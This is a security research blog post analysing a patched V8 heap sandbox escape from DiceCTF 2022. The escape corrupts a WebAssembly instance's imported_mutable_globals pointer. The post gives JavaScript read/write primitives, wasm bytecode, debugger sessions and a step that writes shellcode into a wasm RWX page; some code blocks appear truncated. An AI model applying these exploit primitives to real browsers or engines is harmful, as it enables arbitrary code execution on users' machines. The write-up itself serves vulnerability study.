Exploring Historical V8 Heap Sandbox Escapes I


In anticipation of the future implementation of CFI on code_entry_point fields within function objects (the vector by which most publicly known heap sandbox escapes currently occur), I wanted to explore some patched sandbox escapes that have been found in the past.

In this post I’ll be looking at the following patch: [sandbox] Remove a number of native allocations from WasmInstanceObject.


The heap sandbox escape I’ll be looking into today was originally found during DiceCTF 2022. The blog post detailing this technique can be found here.

In practice it’s pretty simple, involving corrupting memory within a WebAssembly instance object. Specifically the pointer to the instance’s mutable globals store, allowing us to read or write arbitrary memory via global variables.

This was due to WebAssembly storing globals data in a location external to the heap sandbox (meaning that it was an un-sandboxed external pointer). The patch for it just involved moving this data store to the heap itself.

Enabling the Memory Corruption API

Before building, I thought it best to enable the memory corruption API rather than implement a vulnerability into V8 itself.

The memory corruption API implements several functions that makes manipulating memory within the heap sandbox a lot easier.

diff --git a/BUILD.gn b/BUILD.gn
index af24f4309a..5ca4c0666a 100644
--- a/BUILD.gn
+++ b/BUILD.gn
@@ -305,7 +305,7 @@ declare_args() {
   # Enable the experimental V8 sandbox.
-  v8_enable_sandbox = ""
+  v8_enable_sandbox = true
   # Enable sandboxing for all external pointers. Requires v8_enable_sandbox.
@@ -317,7 +317,7 @@ declare_args() {
   # Expose the memory corruption API to JavaScript. Useful for testing the sandbox.
   # WARNING This will expose builtins that (by design) cause memory corruption.
-  v8_expose_memory_corruption_api = false
+  v8_expose_memory_corruption_api = true
   # Experimental feature for collecting per-class zone memory stats.
   # Requires use_rtti = true

For this particular heap sandbox escape, we’ll need to build out some typical exploit primitives. I won’t go into much detail here, but you can find the relevant code below.

They pretty much all use the memory corruption API in their implementation, so I suggest you look at the code for it (since it’s completely undocumented, lmao) if you want to learn more. Here is the relevant commit.

const addrof = o => {
  return Sandbox.getAddressOf(o);

const weak_read = p => {
  let reader = new Sandbox.MemoryView(p, 64);
  let view = new DataView(reader);
  return view.getBigUint64(0, true); 

const weak_write = (p, x) => {
  let writer = new Sandbox.MemoryView(p, 64);
  let view = new DataView(writer);
  view.setBigUint64(0, x, true);

WebAssembly Mutable Globals

Before digging into any memory corruption, I want to first explore web-assembly’s mutable globals functionality.

Some useful code for demonstrating this functionality can be found within the web-assembly reference repo, here. It implements two functions, one for reading a 32-bit integer from a global variable, and another incrementing that global variable by 1.

  (global $g (import "js" "global") (mut i32))
  (func (export "getGlobal") (result i32)
    (global.get $g)
  (func (export "incGlobal")
    (global.set $g (i32.add (global.get $g) (i32.const 1)))

Note that the global variable has to be instantiated prior to the wasm instance, and it needs to be passed to the wasm instance when it is created.

Running the below code will demonstrate both these functions, and how web-assembly mutable globals are used in practice.

const global = new WebAssembly.Global({ value: "i32", mutable: true }, 0);

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x08, 0x02, 0x60, 0x00,
  0x01, 0x7f, 0x60, 0x00, 0x00, 0x02, 0x0e, 0x01, 0x02, 0x6a, 0x73, 0x06, 0x67,
  0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x03, 0x7f, 0x01, 0x03, 0x03, 0x02, 0x00, 0x01,
  0x07, 0x19, 0x02, 0x09, 0x67, 0x65, 0x74, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c,
  0x00, 0x00, 0x09, 0x69, 0x6e, 0x63, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x00,
  0x01, 0x0a, 0x10, 0x02, 0x04, 0x00, 0x23, 0x00, 0x0b, 0x09, 0x00, 0x23, 0x00,
  0x41, 0x01, 0x6a, 0x24, 0x00, 0x0b
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module, {
  js: { global }

console.log(instance.exports.getGlobal()); // 0
console.log(instance.exports.getGlobal()); // 1

Corrupting the Imported Mutable Globals Pointer

Below is some javascript code that will allow us to explore how this memory changes when the incGlobal wasm function is called.



In the debug print of the wasm instance object, we can see an interesting value pertaining to web-assembly’s mutable globals functionality. The pointer to imported_mutable_globals, and even more interesting is that it appears to be an external pointer.

So what happens if we decide to corrupt the imported_mutable_globals pointer? Well it appears to be a external pointer (i.e. outside of the heap), so logically we should be able to replace it in order to read or modify an arbitrary location in memory.

DebugPrint: 0x1f84001d4659: [WasmInstanceObject] in OldSpace
 - map: 0x1f8400207891 <Map[256](HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x1f8400048709 <Object map = 0x1f8400208241>
 - elements: 0x1f8400002251 <FixedArray[0]> [HOLEY_ELEMENTS]
 - imported_mutable_globals: 0x55afdf05e3e0

When reading from the first entry in imported_mutable_globals we can see it holds a value of 0. Continuing so the incGlobal function is called, we can see that this value has been updated to 1. Which is what we’d expect.

pwndbg> x/gx 0x55afdf05e3e0
0x55afdf05e3e0:	0x00001f8500001000
pwndbg> x/gx 0x00001f8500001000
0x1f8500001000:	0x0000000000000000
pwndbg> c

pwndbg> x/gx 0x00001f8500001000
0x1f8500001000:	0x0000000000000001

Let’s see what happens when we completely corrupt the first pointer in the imported_mutable_globals table. That is, not the imported_mutable_globals pointer itself, but the first entry within it.

In the example below, I replace this entry with a pointer to 0x4141414141414141, so we should see a segmentation fault if we try to access it.

pwndbg> set *(uint64_t *)(0x56394c0dc3d0) = 0x4141414141414141
pwndbg> x/gx 0x56394c0dc3d0
0x56394c0dc3d0:	0x4141414141414141
pwndbg> c

Thread 1 "d8" received signal SIGSEGV, Segmentation fault.

We receive a segmentation fault when trying to read from the location in memory we specified. In the disassembly below, the next step was to incremement the value retrieved by 1, before later storing it back into the location in memory it was retrieved from.

This is exactly the behaviour we’d expect to see from a function that increments a global variable.

 ► 0x2d0f6f7876a2    mov    ecx, dword ptr [rax]
   0x2d0f6f7876a4    add    ecx, 1
   0x2d0f6f7876a7    mov    rax, qword ptr [rsi + 0x57]
   0x2d0f6f7876ab    mov    rax, qword ptr [rax]
   0x2d0f6f7876ae    mov    dword ptr [rax], ecx
pwndbg> p/x $rax
$1 = 0x4141414141414141

An Arbitrary Read Primitive

So the question becomes, how do we turn this functionality into arbitrary read or write primitives?

Well, from observing the behaviour above, it would likely involve the corruption of one primary value; that of the imported_mutable_globals pointer. But this value doesn’t point directly to the global variable that is modified - so we’d need to point it to an area of memory we control and store a pointer to the memory we want to modify at that location.

The below web-assembly will read a 64-bit value from a mutable global variable.

  (global $g (import "js" "global") (mut i64))
  (func (export "read") (result i64)
    (global.get $g)
const global = new WebAssembly.Global({ value: "i64", mutable: true }, 0n);

let wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x05, 0x01, 0x60, 0x00,
  0x01, 0x7e, 0x02, 0x0e, 0x01, 0x02, 0x6a, 0x73, 0x06, 0x67, 0x6c, 0x6f, 0x62,
  0x61, 0x6c, 0x03, 0x7e, 0x01, 0x03, 0x02, 0x01, 0x00, 0x07, 0x08, 0x01, 0x04,
  0x72, 0x65, 0x61, 0x64, 0x00, 0x00, 0x0a, 0x06, 0x01, 0x04, 0x00, 0x23, 0x00,
let module = new WebAssembly.Module(wasm);
let instance = new WebAssembly.Instance(module, {
  js: { global }

As mentioned above, the primary objective we need to achieve is control over the imported_mutable_globals table. I did this by simply pointing it to the elements store of a float array. This way the entries within the table could easily be replaced.

If we want to replace this value with a location on the heap, this will also require a heap address leak (which is easily obtained).

let heap = (weak_read(0x18) >> 32n) << 32n;
let store = [1.1];
let elements = heap + (weak_read(addrof(store) + 0x8) & 0xffffffffn);
weak_write(addrof(instance) + 0x58, elements + 8n - 1n);

store[0] = utof(0xdeadbeefn);
Thread 1 "d8" received signal SIGSEGV, Segmentation fault.
 ► 0x2e60bc29c662    mov    rcx, qword ptr [rax]
pwndbg> p/x $rax
$1 = 0xdeadbeef

This is easily extracted out into a function. A pointer is provided and stored in the controlled imported_mutable_globals table, and a value is read from it.

const strong_read = p => {
  store[0] = utof(p);
  return itou(instance.exports.read());

An Arbitrary Write Primitive

The arbitrary write primitive is implemented in an almost identical manner to the read primitive. However, a new web-assembly function is introduced that writes a 64-bit integer to the global variable.

  (global $g (import "js" "global") (mut i64))
  (func (export "read") (result i64)
    (global.get $g)
  (func (export "write") (param $p i64)
    (global.set $g (local.get $p))

You can see how similar it is to the read primitive. It uses the same logic to replace the pointer to the location in memory we want to modify. The only difference being that the web-assembly function used to write to a global variable is called.

const strong_write = (p, x) => {
  store[0] = utof(p);

Code Execution

In order to achieve code execution we don’t actually require the arbitrary read primitive, it was really just an extra primitive to explore. All the values we need to leak are already stored on the heap.

The arbitrary write primitive however, is extremely useful. In the code below, it is used to write shellcode to the rwx page allocated by a wasm instance object. This, of course, is a very well documented technique used to achieve code execution in V8.

let _wasm = new Uint8Array([
  0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80,
  0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01,
  0x00, 0x04, 0x84, 0x80, 0x80, 0x80, 0x00, 0x01, 0x70, 0x00, 0x00, 0x05, 0x83,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x01, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00,
  0x00, 0x07, 0x91, 0x80, 0x80, 0x80, 0x00, 0x02, 0x06, 0x6d, 0x65, 0x6d, 0x6f,
  0x72, 0x79, 0x02, 0x00, 0x04, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x00, 0x0a, 0x8a,
  0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x2a,
let _module = new WebAssembly.Module(_wasm);
let _instance = new WebAssembly.Instance(_module);

let rwx = weak_read(addrof(_instance) + 0x68); 

let shellcode = [
for (let i = 0; i < shellcode.length; i++)
  strong_write(rwx + (8n * BigInt(i)), shellcode[i]);